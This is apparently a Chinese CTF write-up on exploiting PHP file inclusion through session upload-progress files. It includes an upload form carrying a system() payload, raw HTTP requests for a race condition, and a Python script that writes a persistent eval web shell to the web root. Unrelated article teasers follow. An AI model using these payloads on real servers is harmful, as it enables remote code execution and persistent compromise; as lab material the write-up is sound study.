当前位置: 首页 > article >正文

session临时文件包含

使用情况

if(isset($_GET['file'])){$file = $_GET['file'];$file = str_replace("php", "???", $file);$file = str_replace("data", "???", $file);$file = str_replace(":", "???", $file);$file = str_replace(".", "???", $file);include($file);
}else{highlight_file(__FILE__);
}

比如这题,禁用了php和data,显然打不了伪协议,

点也被禁了,正常的包含文件基本不可能了

那么这里就用到了session临时文件包含了

什么是session临时文件

PHP_SESSION_UPLOAD_PROGRESS开启时,我们可以通过这个PHP_SESSION_UPLOAD_PROGRESS查看我们文件上传的进度,并且,他的值我们是可控的,在我们上传文件的过程中,PHP_SESSION_UPLOAD_PROGRESS的内容会以一个临时文件的方式保存,而这个临时文件的名称我们也是可控的,他存放在tmp目录下,路径为

/tmp/sess_???

其中???是我们的设置的PHPSESSID的值,因为cookie的值我们是可以自定义的,所以该临时文件的文件名也是我们可控的

 该文件的内容的形式为

upload_progress_xxxxxx;|a:5{s:10:"start_time";i:1743699018;s:14:"content_length";i:406;s:15:"bytes_processed";i:406;s:4:"done";b:0;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:5:"1.txt";s:8:"tmp_name";N;s:5:"error";i:0;s:4:"done";b:0;s:10:"start_time";i:1743699018;s:15:"bytes_processed";i:406;}}}

开头的xxxxx是可控的,内容为PHP_SESSION_UPLOAD_PROGRESS的值,前面的upload_progress_是垃圾数据,但是这里我们上传的是用尖括号包着的php代码,不会被垃圾数据影响,有些情况需要消除这些垃圾数据才能继续利用,可以使用base64编码的办法

所以,我们只需要把要执行的php代码写在PHP_SESSION_UPLOAD_PROGRESS里面,然后包含这个session文件就行了

不幸的是,session.upload_progress.cleanup是默认开启的,它意味着我们文件上传结束时,该临时文件也会被清除

所以就需要进行条件竞争,让上传和包含同时进行

 方法一、抓包

首先我们写一个文件上传的表单,同时给PHP_SESSION_UPLOAD_PROGRESS赋值为恶意代码

<!DOCTYPE html>
<html>
<body>
<form action="http://target.com/" method="POST" enctype="multipart/form-data"><input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php system('ls');?>" /><input type="file" name="file" /><input type="submit" value="submit" />
</form>
</body>
</html>

上传的文件随便一个就行

我们先抓到这个包

POST / HTTP/1.1

Accept-Encoding: gzip, deflate

Origin: null

Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryofpu5xWATy06KtvL

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.far{{int(1-10000)}}

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

Accept-Language: zh,zh-CN;q=0.9

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

Content-Length: 338

Cookie: PHPSESSID=onehang

------WebKitFormBoundaryofpu5xWATy06KtvL

Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

<?php system('cat fl0g.php');?>

------WebKitFormBoundaryofpu5xWATy06KtvL

Content-Disposition: form-data; name="file"; filename="1.txt"

Content-Type: text/plain

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

aaaaaaaaaaaaaaaaaaaaaaaaaaaaa

aaaaaaaaaaa

------WebKitFormBoundaryofpu5xWATy06KtvL--

 紧接着,我们抓一个包含这个临时文件的包

GET /?file=/tmp/sess_onehang HTTP/1.1

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 S{{int(1-10000)}}

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

Cookie: PHPSESSID=onehang

Accept-Encoding: gzip, deflate

Accept-Language: zh,zh-CN;q=0.9


 

 注意:这两个次请求需要设置相同的cookie

接下来就是同时使用bp或者yakit爆破这两个包了,在get的包里获取到返回的结果

方法二、py脚本

import requests
import threadingurl = 'http://5851aa97-c7fa-4af7-9b19-627b6720b697.challenge.ctf.show/'
sessid = 'onehang'test_file = open("test.txt",'rb')
def write(session):while True:res = session.post(url=url,data = {"PHP_SESSION_UPLOAD_PROGRESS":"<?php eval($_POST[1]);?>"},cookies = {'PHPSESSID':sessid},files={'file':test_file})def read(session):while True:res = session.post(url=url+f'?file=/tmp/sess_{sessid}',data={"1":"file_put_contents('/var/www/html/1.php','<?php eval($_POST[2]);?>');"},cookies={'PHPSESSID':sessid})ans = session.get(url+'1.php')if ans.status_code == 200:print("====done====")else:print(ans.status_code)if __name__ == "__main__":with requests.session() as session:t1 = threading.Thread(target=write, args=(session, ))t1.daemon = Truet1.start()read(session)    

这个脚本挺好写的,但是需要有一些要注意的点

1.write和read的cookies必须相同

2.write中上传的文件是必不可少的,不然这么记录文件上传的进度呢,不上传files会导致写马失败

我的脚本是重新在服务器上写了一个不会被清除的一句话木马,然后在执行命令,当然也可以像前面抓包的方法一样,执行执行命令

与强制文件上传的区别

强制文件上传也是包含一个临时文件,但是它需要使用?来匹配文件名,这在include函数中是不允许的

相关文章:

session临时文件包含

使用情况 if(isset($_GET[file])){$file $_GET[file];$file str_replace("php", "???", $file);$file str_replace("data", "???", $file);$file str_replace(":", "???", $file);$file str_repla…...

【新能源汽车研发测试数据深度分析:从传感器到智能决策的硬核方法论】

摘要&#xff1a; 本文系统性解构新能源汽车&#xff08;NEV&#xff09;研发测试中的数据采集、处理及分析全链条&#xff0c;覆盖传感器融合、大数据清洗、AI算法优化等核心技术&#xff0c;并引入行业顶级案例&#xff08;如特斯拉Autopilot验证、宁德时代BMS算法迭代&#…...

游戏引擎学习第206天

回顾并为当天的工作定下目标 接着回顾了前一天的进展。之前我们做了一些调试功能&#xff0c;并且已经完成了一些基础的工作&#xff0c;但是还有一些功能需要继续完善。其中一个目标是能够展示实体数据&#xff0c;以便在开发游戏逻辑系统时&#xff0c;可以清晰地查看和检查…...

Zapier MCP:重塑跨应用自动化协作的技术实践

引言&#xff1a;数字化协作的痛点与突破 在当今多工具协同的工作环境中&#xff0c;开发者与办公人员常常面临数据孤岛、重复操作等效率瓶颈。Zapier推出的MCP&#xff08;Model Context Protocol&#xff09;协议通过标准化数据交互框架&#xff0c;为跨应用自动化提供了新的…...

ubuntu部署ollama+deepseek+open-webui

ubuntu部署ollamadeepseekopen-webui 全文-ubuntu部署ollamadeepseekopen-webui 大纲 Ollama部署 安装Ollama&#xff1a;使用命令apt install curl和curl -fsSL https://ollama.com/install.sh | sh ollama-v网络访问配置&#xff1a;设置环境变量OLLAMA_HOST0.0.0.0:11434&…...

蓝桥云客--破译密码

5.破译密码【算法赛】 - 蓝桥云课 问题描述 在近期举办的蓝桥杯竞赛中&#xff0c;诞生了一场激动人心的双人破译挑战。比赛的主办方准备了N块神秘的密码芯片&#xff0c;参赛队伍需要在这场智力竞赛中展示团队合作的默契与效率。每个队伍需选出一位破译者与一位传输者&#…...

量子计算与经典计算的拉锯战:一场关于计算未来的辩论

在计算科学领域&#xff0c;一场关于未来的激烈辩论正在上演。2025年3月&#xff0c;D-Wave量子公司的研究人员在《Science》杂志上发表了一项突破性成果&#xff0c;声称他们的量子退火处理器在几分钟内解决了一个经典超级计算机需要数百万年才能完成的复杂现实问题。这一声明…...

Java面试黄金宝典30

1. 请详细列举 30 条常用 SQL 优化方法 定义 SQL 优化是指通过对 SQL 语句、数据库表结构、索引等进行调整和改进&#xff0c;以提高 SQL 查询的执行效率&#xff0c;减少系统资源消耗&#xff0c;提升数据库整体性能的一系列操作。 要点 从索引运用、查询语句结构优化、数据…...

React-Diffing算法和key的作用

1.验证Diffing算法 <!DOCTYPE html> <html lang"en"><head><meta charset"UTF-8"><meta name"viewport" content"widthdevice-width, initial-scale1.0"><title>Document</title> </he…...

【NLP 54、大模型训练相关知识】

目录 引言&#xff1a;大模型训练两大问题 一、并行训练 1.方式一&#xff1a;数据并行 DP ① 复制模型到多个GPU ② 各自计算梯度后累加&#xff0c;再反传更新 ③ 需要单卡就能训练整个模型&#xff08;显存够大&#xff09; 2.方式二&#xff1a;模型并行 PP ① 将模型的不同…...

cursor机器码重置

1、下载vscode插件 cursor-fake-machine-0.0.2 2、将插件拖入拓展 3、彻底将cursor账号退出 setting -> Manage -> 退出账号 4、打开cursor&#xff0c;ctrlshiftp &#xff0c;输入fake,点击确定...

IPSG 功能协议

IPSG&#xff08;IP Source Guard&#xff09;即 IP 源保护&#xff0c;是一种基于 IP 地址和 MAC 地址绑定的安全功能&#xff0c;用于防止 IP 地址欺骗和非法的 IP 地址访问。以下是配置 IPSG 功能的一般步骤&#xff1a; 基于端口的 IPSG 配置 进入接口配置模式&#xff1…...

es-字段类型详解

字段类型用途示例Text全文搜索的字符串字段。json { "type": "text" }Keyword精确匹配的字符串字段。json { "type": "keyword" }Numeric数值字段&#xff08;如 integer、long、float 等&#xff09;。json { "type": &quo…...

音视频开发从入门到精通:编解码、流媒体协议与FFmpeg实战指南

音视频开发从入门到精通&#xff1a;编解码、流媒体协议与FFmpeg实战指南 音视频技术作为数字媒体领域的核心&#xff0c;正在成为互联网和移动应用的重要组成部分。本文将全面介绍音视频开发的学习路径&#xff0c;从基础概念到高级应用&#xff0c;从编解码原理到实战案例&a…...

《P1072 [NOIP 2009 提高组] Hankson 的趣味题》

题目描述 Hanks 博士是 BT&#xff08;Bio-Tech&#xff0c;生物技术) 领域的知名专家&#xff0c;他的儿子名叫 Hankson。现在&#xff0c;刚刚放学回家的 Hankson 正在思考一个有趣的问题。 今天在课堂上&#xff0c;老师讲解了如何求两个正整数 c1​ 和 c2​ 的最大公约数…...

CSS3学习教程,从入门到精通, 化妆品网站 HTML5 + CSS3 完整项目(26)

化妆品网站 HTML5 CSS3 完整项目 下面是一个完整的化妆品网站项目&#xff0c;包含主页、登录页面和注册页面。我将按照您的要求提供详细的代码和注释。 1. 网站规划与需求分析 需求分析 展示化妆品产品信息提供用户注册和登录功能响应式设计&#xff0c;适配不同设备美观…...

全国产FMC子卡-16bit 8通道2.4G

国产化FMC DA子卡&#xff0c;16bit 8通道2.4GS/s 全国产FMC子卡是一款高分辨率、高采样率的全国产多通道标准双宽DAC FMC子板。其接口电气和结构设计均依据FMC标准(ANSI/VITA 57.1)&#xff0c;通过两个高密度FMC连接器&#xff08;HPC&#xff09;连接至FPGA载板。它提供8路A…...

fpga:分秒计时器

任务目标 分秒计数器核心功能&#xff1a;实现从00:00到59:59的循环计数&#xff0c;通过四个七段数码管显示分钟和秒。 复位功能&#xff1a;支持硬件复位&#xff0c;将计数器归零并显示00:00。 启动/暂停控制&#xff1a;通过按键控制计时的启动和暂停。 消抖处理&#…...

小白 thingsboard 拆分前后端分离

1、modules 里注释掉ui_ugx <modules><module>netty-mqtt</module><module>common</module><module>rule-engine</module><module>dao</module><module>edqs</module><module>transport</module&g…...

4G专网:企业数字化转型的关键通信基石

4G专网 在数字化转型的浪潮下&#xff0c;企业对高可靠性、低时延、安全可控的通信网络需求日益增长。传统的公用蜂窝网络难以满足企业在工业自动化、能源管理、智慧城市等领域的特殊需求&#xff0c;因此4G专网成为众多行业的优先选择。作为行业领先的移动核心网提供商&#x…...

golang 的encoding/json包

理解 Go 语言中的 encoding/json 包 Go 语言通过 encoding/json 包提供了对 JSON 数据的强大支持&#xff0c;包括序列化、反序列化、自定义处理、数组处理、任意结构解析以及流式处理等。 1. 基本使用 1.1 结构体字段与 JSON 的映射 在 Go 中&#xff0c;结构体的字段可以…...

基于FLask的共享单车需求数据可视化分析系统

【FLask】基于FLask的共享单车需求数据可视化分析系统 &#xff08;完整系统源码开发笔记详细部署教程&#xff09;✅ 目录 一、项目简介二、项目界面展示三、项目视频展示 一、项目简介 该系统能够整合并处理大量共享单车使用数据&#xff0c;通过直观的可视化手段&#xff0…...

STL 性能优化实战:解决项目中标准模板库的性能瓶颈

&#x1f9d1; 博主简介&#xff1a;CSDN博客专家、全栈领域优质创作者、高级开发工程师、高级信息系统项目管理师、系统架构师&#xff0c;数学与应用数学专业&#xff0c;10年以上多种混合语言开发经验&#xff0c;从事DICOM医学影像开发领域多年&#xff0c;熟悉DICOM协议及…...

ES使用聚合aggregations实战(自用:2025.04.03更新)

ES使用聚合aggregations实战 聚合模板桶聚合&#xff1a;Bucket Aggregations指标聚合&#xff1a;Metrics Aggregations管道聚合&#xff1a;Pipeline Aggregations嵌套聚合日期直方图&#xff1a;date-histogram 接口实战接口一&#xff1a;根据stu_id分组统计时间段内的各个…...

AI Agent设计模式四:Evaluator

概念 &#xff1a;质量验证与反馈机制 ✅ 优点&#xff1a;自动化质量检查&#xff0c;实现持续优化闭环❌ 缺点&#xff1a;评估准确性依赖模型能力 from typing import TypedDict from langchain_openai import ChatOpenAI from langgraph.graph import StateGraph, START, …...

AI绘画中的LoRa是什么?

Lora是一个多义词&#xff0c;根据不同的上下文可以指代多种事物。以下将详细介绍几种主要的含义&#xff1a; LoRa技术 LoRa&#xff08;Long Range Radio&#xff09;是一种低功耗广域网&#xff08;LPWAN&#xff09;无线通信技术&#xff0c;以其远距离、低功耗和低成本的特…...

Linux网络:数据链路层以太网

目录 认识数据链路层关于以太网1. 基本概念2. 以太网帧格式3. MAC vs IP 认识数据链路层 数据链路层 位于物理层和网络层之间&#xff0c;其作用是将源自物理层来的数据可靠地传输到相邻节点的目标主机的网络层&#xff0c;主要通过物理介质(如以太网&#xff0c;Wi-Fi等)将数…...

Redisson使用详解

一、Redisson 核心特性与适用场景 Redisson 是基于 Redis 的 Java 客户端&#xff0c;提供分布式对象、锁、集合和服务&#xff0c;简化分布式系统开发。 典型应用场景&#xff1a; 分布式锁&#xff1a;防止重复扣款、超卖控制&#xff08;如秒杀库存&#xff09;。数据共享…...

MySQL基础 [一] - 数据库基础

目录 什么是数据库 站在服务器角度理解 站在用户角度理解 为什么不直接使用文件存储呢&#xff1f; 主流数据库 MySQL的基本使用 数据库的使用样例 服务器管理 服务器数据库表之间的关系 MySQL的架构 MySQL语句分类 存储引擎 查看存储引擎 存储引擎对比 什么…...

【华为OD技术面试真题 - 技术面】- Java面试题(17)

华为OD面试真题精选 专栏:华为OD面试真题精选 目录: 2024华为OD面试手撕代码真题目录以及八股文真题目录 文章目录 华为OD面试真题精选虚拟机分区1. **虚拟磁盘分区**2. **虚拟机的内存分区**3. **CPU分配**4. **虚拟网络分区**5. **存储虚拟化和分区**6. **虚拟机分区管理**…...